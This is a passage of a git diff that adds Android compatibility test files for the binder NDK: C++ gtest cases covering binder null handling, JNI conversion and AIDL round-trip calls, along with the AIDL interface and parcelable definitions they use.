+    AParcel* outParcel = nullptr;
+
+    inParcel = newParcel();
+    EXPECT_NE(nullptr, inParcel);
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(nullptr, kCode, &inParcel, &outParcel, 0 /*flags*/));
+    EXPECT_EQ(nullptr, inParcel);   // ownership taken
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(binder, kCode, nullptr, &outParcel, 0 /*flags*/));
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+
+    inParcel = newParcel();
+    EXPECT_NE(nullptr, inParcel);
+    EXPECT_EQ(
+        STATUS_UNEXPECTED_NULL,
+        AIBinder_transact(binder, kCode, &inParcel, nullptr, 0 /*flags*/));
+    EXPECT_EQ(nullptr, inParcel);   // ownership taken
+    EXPECT_EQ(nullptr, outParcel);  // not modified
+  }
+
+  EXPECT_EQ(nullptr, AIBinder_Weak_new(nullptr));
+
+  // Does not crash
+  AIBinder_Weak_delete(nullptr);
+
+  EXPECT_EQ(nullptr, AIBinder_Weak_promote(nullptr));
+
+  EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
+
+  // Does not crash
+  AIBinder_DeathRecipient_delete(nullptr);
+
+  AIBinder_DeathRecipient_delete(recipient);
+  AIBinder_decStrong(binder);
+
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL, AIBinder_getExtension(nullptr, nullptr));
+  EXPECT_EQ(STATUS_UNEXPECTED_NULL, AIBinder_setExtension(nullptr, nullptr));
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp
new file mode 100644
index 0000000..228dac3
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder_jni.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <android/binder_ibinder.h>
+#include <android/binder_ibinder_jni.h>
+#include <gtest/gtest.h>
+#include <nativetesthelper_jni/utils.h>
+
+#include "utilities.h"
+
+void* NothingClass_onCreate(void* args) { return args; }
+void NothingClass_onDestroy(void* /*userData*/) {}
+binder_status_t NothingClass_onTransact(AIBinder*, transaction_code_t,
+                                        const AParcel*, AParcel*) {
+  return STATUS_UNKNOWN_ERROR;
+}
+
+static AIBinder_Class* kNothingClass =
+    AIBinder_Class_define("nothing", NothingClass_onCreate,
+                          NothingClass_onDestroy, NothingClass_onTransact);
+
+class NdkBinderTest_AIBinder_Jni : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AIBinder_Jni, ConvertJni) {
+  JNIEnv* env = GetEnv();
+  ASSERT_NE(nullptr, env);
+
+  AIBinder* binder = AIBinder_new(kNothingClass, nullptr);
+  EXPECT_NE(nullptr, binder);
+
+  jobject object = AIBinder_toJavaBinder(env, binder);
+  EXPECT_NE(nullptr, object);
+
+  AIBinder* fromJavaBinder = AIBinder_fromJavaBinder(env, object);
+  EXPECT_EQ(binder, fromJavaBinder);
+
+  AIBinder_decStrong(binder);
+  AIBinder_decStrong(fromJavaBinder);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
new file mode 100644
index 0000000..b860a81
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -0,0 +1,707 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define LOG_TAG "Cts-NdkBinderTest"
+
+#include <aidl/test_package/BnEmpty.h>
+#include <aidl/test_package/BpTest.h>
+#include <aidl/test_package/Foo.h>
+#include <aidl/test_package/RegularPolygon.h>
+#include <android/binder_ibinder_jni.h>
+#include <gtest/gtest.h>
+
+#include "itest_impl.h"
+#include "utilities.h"
+
+#include <stdio.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+
+using ::aidl::test_package::Bar;
+using ::aidl::test_package::BpTest;
+using ::aidl::test_package::Foo;
+using ::aidl::test_package::ITest;
+using ::aidl::test_package::RegularPolygon;
+using ::ndk::ScopedAStatus;
+using ::ndk::ScopedFileDescriptor;
+using ::ndk::SharedRefBase;
+using ::ndk::SpAIBinder;
+
+// AIDL tests which are independent of the service
+class NdkBinderTest_AidlLocal : public NdkBinderTest {};
+
+TEST_F(NdkBinderTest_AidlLocal, FromBinder) {
+  std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
+  SpAIBinder binder = test->asBinder();
+  EXPECT_EQ(test, ITest::fromBinder(binder));
+
+  EXPECT_FALSE(test->isRemote());
+}
+
+struct Params {
+  std::shared_ptr<ITest> iface;
+  bool shouldBeRemote;
+  bool shouldBeWrapped;
+  std::string expectedName;
+  bool shouldBeOld;
+};
+
+#define iface GetParam().iface
+#define shouldBeRemote GetParam().shouldBeRemote
+#define shouldBeWrapped GetParam().shouldBeWrapped
+
+// AIDL tests which run on each type of service (local C++, local Java, remote C++, remote Java,
+// etc..)
+class NdkBinderTest_Aidl : public NdkBinderTest,
+                           public ::testing::WithParamInterface<Params> {};
+
+TEST_P(NdkBinderTest_Aidl, GotTest) { ASSERT_NE(nullptr, iface); }
+
+TEST_P(NdkBinderTest_Aidl, SanityCheckSource) {
+  std::string name;
+  ASSERT_OK(iface->GetName(&name));
+  EXPECT_EQ(GetParam().expectedName, name);
+}
+
+TEST_P(NdkBinderTest_Aidl, Remoteness) {
+  ASSERT_EQ(shouldBeRemote, iface->isRemote());
+}
+
+TEST_P(NdkBinderTest_Aidl, UseBinder) {
+  ASSERT_EQ(STATUS_OK, AIBinder_ping(iface->asBinder().get()));
+}
+
+TEST_P(NdkBinderTest_Aidl, GetExtension) {
+  SpAIBinder ext;
+  ASSERT_EQ(STATUS_OK, AIBinder_getExtension(iface->asBinder().get(), ext.getR()));
+
+  // TODO(b/139325468): add support in Java as well
+  if (GetParam().expectedName == "CPP") {
+    EXPECT_EQ(STATUS_OK, AIBinder_ping(ext.get()));
+  } else {
+    ASSERT_EQ(nullptr, ext.get());
+  }
+}
+
+bool ReadFdToString(int fd, std::string* content) {
+  char buf[64];
+  ssize_t n;
+  while ((n = TEMP_FAILURE_RETRY(read(fd, &buf[0], sizeof(buf)))) > 0) {
+    content->append(buf, n);
+  }
+  return (n == 0) ? true : false;
+}
+
+std::string dumpToString(std::shared_ptr<ITest> itest, std::vector<const char*> args) {
+  int fd[2] = {-1, -1};
+  EXPECT_EQ(0, socketpair(AF_UNIX, SOCK_STREAM, 0, fd));
+
+  EXPECT_OK(itest->dump(fd[0], args.data(), args.size()));
+  close(fd[0]);
+
+  std::string ret;
+  EXPECT_TRUE(ReadFdToString(fd[1], &ret));
+
+  close(fd[1]);
+  return ret;
+}
+
+TEST_P(NdkBinderTest_Aidl, UseDump) {
+  std::string name;
+  EXPECT_OK(iface->GetName(&name));
+  if (name == "JAVA" && !iface->isRemote()) {
+    // TODO(b/127361166): GTEST_SKIP is considered a failure, would prefer to use that here
+    // TODO(b/127339049): JavaBBinder doesn't implement dump
+    return;
+  }
+
+  EXPECT_EQ("", dumpToString(iface, {}));
+  EXPECT_EQ("", dumpToString(iface, {"", ""}));
+  EXPECT_EQ("Hello World!", dumpToString(iface, {"Hello ", "World!"}));
+  EXPECT_EQ("ABC", dumpToString(iface, {"A", "B", "C"}));
+}
+
+TEST_P(NdkBinderTest_Aidl, Trivial) {
+  ASSERT_OK(iface->TestVoidReturn());
+
+  if (shouldBeWrapped) {
+    ASSERT_OK(iface->TestOneway());
+  } else {
+    ASSERT_EQ(STATUS_UNKNOWN_ERROR, AStatus_getStatus(iface->TestOneway().get()));
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, CallingInfo) {
+  EXPECT_OK(iface->CacheCallingInfoFromOneway());
+  int32_t res;
+
+  EXPECT_OK(iface->GiveMeMyCallingPid(&res));
+  EXPECT_EQ(getpid(), res);
+
+  EXPECT_OK(iface->GiveMeMyCallingUid(&res));
+  EXPECT_EQ(getuid(), res);
+
+  EXPECT_OK(iface->GiveMeMyCallingPidFromOneway(&res));
+  if (shouldBeRemote) {
+    // PID is hidden from oneway calls
+    EXPECT_EQ(0, res);
+  } else {
+    EXPECT_EQ(getpid(), res);
+  }
+
+  EXPECT_OK(iface->GiveMeMyCallingUidFromOneway(&res));
+  EXPECT_EQ(getuid(), res);
+}
+
+TEST_P(NdkBinderTest_Aidl, Constants) {
+  ASSERT_EQ(0, ITest::kZero);
+  ASSERT_EQ(1, ITest::kOne);
+  ASSERT_EQ(0xffffffff, ITest::kOnes);
+  ASSERT_EQ(std::string(""), ITest::kEmpty);
+  ASSERT_EQ(std::string("foo"), ITest::kFoo);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatPrimitives) {
+  {
+    int32_t out;
+    ASSERT_OK(iface->RepeatInt(3, &out));
+    EXPECT_EQ(3, out);
+  }
+
+  {
+    int64_t out;
+    ASSERT_OK(iface->RepeatLong(3, &out));
+    EXPECT_EQ(3, out);
+  }
+
+  {
+    float out;
+    ASSERT_OK(iface->RepeatFloat(2.0f, &out));
+    EXPECT_EQ(2.0f, out);
+  }
+
+  {
+    double out;
+    ASSERT_OK(iface->RepeatDouble(3.0, &out));
+    EXPECT_EQ(3.0, out);
+  }
+
+  {
+    bool out;
+    ASSERT_OK(iface->RepeatBoolean(true, &out));
+    EXPECT_EQ(true, out);
+  }
+
+  {
+    char16_t out;
+    ASSERT_OK(iface->RepeatChar(L'@', &out));
+    EXPECT_EQ(L'@', out);
+  }
+
+  {
+    int8_t out;
+    ASSERT_OK(iface->RepeatByte(3, &out));
+    EXPECT_EQ(3, out);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatBinder) {
+  SpAIBinder binder = iface->asBinder();
+  SpAIBinder ret;
+
+  ASSERT_OK(iface->RepeatBinder(binder, &ret));
+  EXPECT_EQ(binder.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableBinder(binder, &ret));
+  EXPECT_EQ(binder.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableBinder(nullptr, &ret));
+  EXPECT_EQ(nullptr, ret.get());
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatInterface) {
+  class MyEmpty : public ::aidl::test_package::BnEmpty {};
+
+  std::shared_ptr<IEmpty> empty = SharedRefBase::make<MyEmpty>();
+
+  std::shared_ptr<IEmpty> ret;
+  ASSERT_OK(iface->RepeatInterface(empty, &ret));
+  EXPECT_EQ(empty.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableInterface(empty, &ret));
+  EXPECT_EQ(empty.get(), ret.get());
+
+  ASSERT_OK(iface->RepeatNullableInterface(nullptr, &ret));
+  EXPECT_EQ(nullptr, ret.get());
+}
+
+static void checkInOut(const ScopedFileDescriptor& inFd,
+                       const ScopedFileDescriptor& outFd) {
+  static const std::string kContent = "asdf";
+
+  ASSERT_EQ(static_cast<int>(kContent.size()),
+            write(inFd.get(), kContent.data(), kContent.size()));
+
+  std::string out;
+  out.resize(kContent.size());
+  ASSERT_EQ(static_cast<int>(kContent.size()),
+            read(outFd.get(), &out[0], kContent.size()));
+
+  EXPECT_EQ(kContent, out);
+}
+
+static void checkFdRepeat(
+    const std::shared_ptr<ITest>& test,
+    ScopedAStatus (ITest::*repeatFd)(const ScopedFileDescriptor&,
+                                     ScopedFileDescriptor*)) {
+  int fds[2];
+
+  while (pipe(fds) == -1 && errno == EAGAIN)
+    ;
+
+  ScopedFileDescriptor readFd(fds[0]);
+  ScopedFileDescriptor writeFd(fds[1]);
+
+  ScopedFileDescriptor readOutFd;
+  ASSERT_OK((test.get()->*repeatFd)(readFd, &readOutFd));
+
+  checkInOut(writeFd, readOutFd);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
+
+TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
+  checkFdRepeat(iface, &ITest::RepeatNullableFd);
+
+  ScopedFileDescriptor in;
+  EXPECT_EQ(-1, in.get());
+
+  ScopedFileDescriptor out;
+  ASSERT_OK(iface->RepeatNullableFd(in, &out));
+
+  EXPECT_EQ(-1, out.get());
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatString) {
+  std::string res;
+
+  EXPECT_OK(iface->RepeatString("", &res));
+  EXPECT_EQ("", res);
+
+  EXPECT_OK(iface->RepeatString("a", &res));
+  EXPECT_EQ("a", res);
+
+  EXPECT_OK(iface->RepeatString("say what?", &res));
+  EXPECT_EQ("say what?", res);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatNullableString) {
+  std::optional<std::string> res;
+
+  EXPECT_OK(iface->RepeatNullableString(std::nullopt, &res));
+  EXPECT_EQ(std::nullopt, res);
+
+  EXPECT_OK(iface->RepeatNullableString("", &res));
+  EXPECT_EQ("", *res);
+
+  EXPECT_OK(iface->RepeatNullableString("a", &res));
+  EXPECT_EQ("a", *res);
+
+  EXPECT_OK(iface->RepeatNullableString("say what?", &res));
+  EXPECT_EQ("say what?", *res);
+}
+
+TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
+  RegularPolygon polygon;
+
+  EXPECT_EQ("square", polygon.name);
+  EXPECT_EQ(4, polygon.numSides);
+  EXPECT_EQ(1.0f, polygon.sideLength);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatPolygon) {
+  RegularPolygon defaultPolygon = {"hexagon", 6, 2.0f};
+  RegularPolygon outputPolygon;
+  ASSERT_OK(iface->RepeatPolygon(defaultPolygon, &outputPolygon));
+  EXPECT_EQ("hexagon", outputPolygon.name);
+  EXPECT_EQ(defaultPolygon.numSides, outputPolygon.numSides);
+  EXPECT_EQ(defaultPolygon.sideLength, outputPolygon.sideLength);
+}
+
+TEST_P(NdkBinderTest_Aidl, InsAndOuts) {
+  RegularPolygon defaultPolygon;
+  ASSERT_OK(iface->RenamePolygon(&defaultPolygon, "Jerry"));
+  EXPECT_EQ("Jerry", defaultPolygon.name);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameFoo) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameFoo(&foo, "MYFOO"));
+
+  EXPECT_EQ("MYFOO", foo.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameBar) {
+  Foo foo;
+  Foo outputFoo;
+  ASSERT_OK(iface->renameBar(&foo, "MYBAR"));
+
+  EXPECT_EQ("MYBAR", foo.d.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, GetLastItem) {
+  Foo foo;
+  foo.f = 15;
+  int retF;
+  ASSERT_OK(iface->getF(foo, &retF));
+  EXPECT_EQ(15, retF);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
+  Foo foo;
+  foo.a = "NEW FOO";
+  foo.b = 57;
+  foo.d.b = "a";
+  foo.e.d = 99;
+  Foo retFoo;
+
+  ASSERT_OK(iface->repeatFoo(foo, &retFoo));
+
+  EXPECT_EQ(foo.a, retFoo.a);
+  EXPECT_EQ(foo.b, retFoo.b);
+  EXPECT_EQ(foo.d.b, retFoo.d.b);
+  EXPECT_EQ(foo.e.d, retFoo.e.d);
+}
+
+template <typename T>
+using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
+                                              std::vector<T>*, std::vector<T>*);
+
+namespace aidl {
+namespace test_package {
+inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
+  return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
+}
+inline bool operator==(const std::vector<RegularPolygon>& lhs,
+                       const std::vector<RegularPolygon>& rhs) {
+  if (lhs.size() != rhs.size()) return false;
+  for (size_t i = 0; i < lhs.size(); i++) {
+    if (!(lhs[i] == rhs[i])) return false;
+  }
+  return true;
+}
+}  // namespace test_package
+}  // namespace aidl
+
+template <typename T>
+void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
+                std::vector<std::vector<T>> tests) {
+  for (const auto& input : tests) {
+    std::vector<T> out1;
+    out1.resize(input.size());
+    std::vector<T> out2;
+
+    ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2)) << input.size();
+    EXPECT_EQ(input, out1);
+    EXPECT_EQ(input, out2);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, Arrays) {
+  testRepeat<bool>(iface, &ITest::RepeatBooleanArray,
+                   {
+                       {},
+                       {true},
+                       {false, true, false},
+                   });
+  testRepeat<int8_t>(iface, &ITest::RepeatByteArray,
+                     {
+                         {},
+                         {1},
+                         {1, 2, 3},
+                     });
+  testRepeat<char16_t>(iface, &ITest::RepeatCharArray,
+                       {
+                           {},
+                           {L'@'},
+                           {L'@', L'!', L'A'},
+                       });
+  testRepeat<int32_t>(iface, &ITest::RepeatIntArray,
+                      {
+                          {},
+                          {1},
+                          {1, 2, 3},
+                      });
+  testRepeat<int64_t>(iface, &ITest::RepeatLongArray,
+                      {
+                          {},
+                          {1},
+                          {1, 2, 3},
+                      });
+  testRepeat<float>(iface, &ITest::RepeatFloatArray,
+                    {
+                        {},
+                        {1.0f},
+                        {1.0f, 2.0f, 3.0f},
+                    });
+  testRepeat<double>(iface, &ITest::RepeatDoubleArray,
+                     {
+                         {},
+                         {1.0},
+                         {1.0, 2.0, 3.0},
+                     });
+  testRepeat<std::string>(iface, &ITest::RepeatStringArray,
+                          {
+                              {},
+                              {"asdf"},
+                              {"", "aoeu", "lol", "brb"},
+                          });
+  testRepeat<RegularPolygon>(iface, &ITest::RepeatRegularPolygonArray,
+                             {
+                                 {},
+                                 {{"hexagon", 6, 2.0f}},
+                                 {{"hexagon", 6, 2.0f}, {"square", 4, 7.0f}, {"pentagon", 5, 4.2f}},
+                             });
+}
+
+template <typename T>
+using RepeatNullableMethod = ScopedAStatus (ITest::*)(
+    const std::optional<std::vector<std::optional<T>>>&,
+    std::optional<std::vector<std::optional<T>>>*,
+    std::optional<std::vector<std::optional<T>>>*);
+
+template <typename T>
+void testRepeat(
+    const std::shared_ptr<ITest>& i, RepeatNullableMethod<T> repeatMethod,
+    std::vector<std::optional<std::vector<std::optional<T>>>> tests) {
+  for (const auto& input : tests) {
+    std::optional<std::vector<std::optional<T>>> out1;
+    if (input) {
+      out1 = std::vector<std::optional<T>>{};
+      out1->resize(input->size());
+    }
+    std::optional<std::vector<std::optional<T>>> out2;
+
+    ASSERT_OK((i.get()->*repeatMethod)(input, &out1, &out2))
+        << (input ? input->size() : -1);
+    EXPECT_EQ(input, out1);
+    EXPECT_EQ(input, out2);
+  }
+}
+
+template <typename T>
+using SingleRepeatNullableMethod = ScopedAStatus (ITest::*)(
+    const std::optional<std::vector<T>>&, std::optional<std::vector<T>>*);
+
+template <typename T>
+void testRepeat(const std::shared_ptr<ITest>& i,
+                SingleRepeatNullableMethod<T> repeatMethod,
+                std::vector<std::optional<std::vector<T>>> tests) {
+  for (const auto& input : tests) {
+    std::optional<std::vector<T>> ret;
+    ASSERT_OK((i.get()->*repeatMethod)(input, &ret))
+        << (input ? input->size() : -1);
+    EXPECT_EQ(input, ret);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, NullableArrays) {
+  testRepeat<bool>(iface, &ITest::RepeatNullableBooleanArray,
+                   {
+                       std::nullopt,
+                       {{}},
+                       {{true}},
+                       {{false, true, false}},
+                   });
+  testRepeat<int8_t>(iface, &ITest::RepeatNullableByteArray,
+                     {
+                         std::nullopt,
+                         {{}},
+                         {{1}},
+                         {{1, 2, 3}},
+                     });
+  testRepeat<char16_t>(iface, &ITest::RepeatNullableCharArray,
+                       {
+                           std::nullopt,
+                           {{}},
+                           {{L'@'}},
+                           {{L'@', L'!', L'A'}},
+                       });
+  testRepeat<int32_t>(iface, &ITest::RepeatNullableIntArray,
+                      {
+                          std::nullopt,
+                          {{}},
+                          {{1}},
+                          {{1, 2, 3}},
+                      });
+  testRepeat<int64_t>(iface, &ITest::RepeatNullableLongArray,
+                      {
+                          std::nullopt,
+                          {{}},
+                          {{1}},
+                          {{1, 2, 3}},
+                      });
+  testRepeat<float>(iface, &ITest::RepeatNullableFloatArray,
+                    {
+                        std::nullopt,
+                        {{}},
+                        {{1.0f}},
+                        {{1.0f, 2.0f, 3.0f}},
+                    });
+  testRepeat<double>(iface, &ITest::RepeatNullableDoubleArray,
+                     {
+                         std::nullopt,
+                         {{}},
+                         {{1.0}},
+                         {{1.0, 2.0, 3.0}},
+                     });
+  testRepeat<std::optional<std::string>>(
+      iface, &ITest::RepeatNullableStringArray,
+      {
+          std::nullopt,
+          {{}},
+          {{"asdf"}},
+          {{std::nullopt}},
+          {{"aoeu", "lol", "brb"}},
+          {{"", "aoeu", std::nullopt, "brb"}},
+      });
+  testRepeat<std::string>(iface, &ITest::DoubleRepeatNullableStringArray,
+                          {
+                              {{}},
+                              {{"asdf"}},
+                              {{std::nullopt}},
+                              {{"aoeu", "lol", "brb"}},
+                              {{"", "aoeu", std::nullopt, "brb"}},
+                          });
+}
+
+class DefaultImpl : public ::aidl::test_package::ITestDefault {
+ public:
+  ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+    *_aidl_return = 100;  // default impl returns different value
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+};
+
+TEST_P(NdkBinderTest_Aidl, NewMethod) {
+  std::shared_ptr<ITest> default_impl = SharedRefBase::make<DefaultImpl>();
+  ::aidl::test_package::ITest::setDefaultImpl(default_impl);
+
+  int32_t res;
+  EXPECT_OK(iface->NewMethodThatReturns10(&res));
+  if (GetParam().shouldBeOld) {
+    // Remote was built with version 1 interface which does not have
+    // "NewMethodThatReturns10". In this case the default method
+    // which returns 100 is called.
+    EXPECT_EQ(100, res);
+  } else {
+    // Remote is built with the current version of the interface.
+    // The method returns 10.
+    EXPECT_EQ(10, res);
+  }
+}
+
+TEST_P(NdkBinderTest_Aidl, GetInterfaceVersion) {
+  int32_t res;
+  EXPECT_OK(iface->getInterfaceVersion(&res));
+  if (GetParam().shouldBeOld) {
+    EXPECT_EQ(1, res);
+  } else {
+    // 10000 is the not-yet-frozen version
+    EXPECT_EQ(10000, res);
+  }
+}
+
+std::shared_ptr<ITest> getProxyLocalService() {
+  std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
+  SpAIBinder binder = test->asBinder();
+
+  // adding an arbitrary class as the extension
+  std::shared_ptr<MyTest> ext = SharedRefBase::make<MyTest>();
+  SpAIBinder extBinder = ext->asBinder();
+
+  binder_status_t ret = AIBinder_setExtension(binder.get(), extBinder.get());
+  if (ret != STATUS_OK) {
+    std::cout << "Could not set local extension" << std::endl;
+  }
+
+  // BpTest -> AIBinder -> test
+  //
+  // Warning: for testing purposes only. This parcels things within the same process for testing
+  // purposes. In normal usage, this should just return SharedRefBase::make<MyTest> directly.
+  return (new BpTest(binder))->ref<ITest>();
+}
+
+std::shared_ptr<ITest> getNdkBinderTestJavaService(const std::string& method) {
+  JNIEnv* env = GetEnv();
+  if (env == nullptr) {
+    std::cout << "No environment" << std::endl;
+    return nullptr;
+  }
+
+  jclass cl = env->FindClass("android/binder/cts/NdkBinderTest");
+  if (cl == nullptr) {
+    std::cout << "No class" << std::endl;
+    return nullptr;
+  }
+
+  jmethodID mid =
+      env->GetStaticMethodID(cl, method.c_str(), "()Landroid/os/IBinder;");
+  if (mid == nullptr) {
+    std::cout << "No method id" << std::endl;
+    return nullptr;
+  }
+
+  jobject object = env->CallStaticObjectMethod(cl, mid);
+  if (object == nullptr) {
+    std::cout << "Got null service from Java" << std::endl;
+    return nullptr;
+  }
+
+  SpAIBinder binder = SpAIBinder(AIBinder_fromJavaBinder(env, object));
+
+  return ITest::fromBinder(binder);
+}
+
+INSTANTIATE_TEST_CASE_P(LocalProxyToNative, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{getProxyLocalService(), false /*shouldBeRemote*/,
+                                                 true /*shouldBeWrapped*/, "CPP",
+                                                 false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(LocalNativeFromJava, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getLocalNativeService"),
+                            false /*shouldBeRemote*/, false /*shouldBeWrapped*/, "CPP",
+                            false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(LocalJava, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{getNdkBinderTestJavaService("getLocalJavaService"),
+                                                 false /*shouldBeRemote*/, true /*shouldBeWrapped*/,
+                                                 "JAVA", false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(RemoteNative, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteNativeService"),
+                            true /*shouldBeRemote*/, true /*shouldBeWrapped*/, "CPP",
+                            false /*shouldBeOld*/}));
+INSTANTIATE_TEST_CASE_P(RemoteJava, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteJavaService"),
+                            true /*shouldBeRemote*/, true /*shouldBeWrapped*/, "JAVA",
+                            false /*shouldBeOld*/}));
+
+INSTANTIATE_TEST_CASE_P(RemoteNativeOld, NdkBinderTest_Aidl,
+                        ::testing::Values(Params{
+                            getNdkBinderTestJavaService("getRemoteOldNativeService"),
+                            true /*shouldBeRemote*/, true /*shouldBeWrapped*/, "CPP",
+                            true /*shouldBeOld*/}));
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
new file mode 100644
index 0000000..4332c20
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
@@ -0,0 +1,10 @@
+package test_package;
+
+parcelable Bar {
+    String a="BAR";
+    String b="BAR2";
+    float c=4.2f;
+    int d=100;
+    // This field doesn't exist in version 1.
+    String e="HELLO";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
new file mode 100644
index 0000000..8fb53e2
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -0,0 +1,14 @@
+package test_package;
+
+import test_package.Bar;
+
+parcelable Foo {
+    String a="FOO";
+    int b=42;
+    float c=3.14f;
+    Bar d;
+    Bar e;
+    int f=3;
+    // This field doesn't exist in version 1.
+    @nullable String[] g;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl
new file mode 100644
index 0000000..50c6cfa
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/IEmpty.aidl
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+// What did you expect?
+interface IEmpty {}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
new file mode 100644
index 0000000..1061b94
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+import test_package.IEmpty;
+import test_package.RegularPolygon;
+import test_package.Foo;
+
+// This test interface is used in order to test the all of the things that AIDL can generate which
+// build on top of the NDK.
+//
+// Repeat => return the same value. This is used to keep the clients/tests simple.
+interface ITest {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
+    String GetName();
+
+    void TestVoidReturn();
+    oneway void TestOneway();
+
+    int GiveMeMyCallingPid();
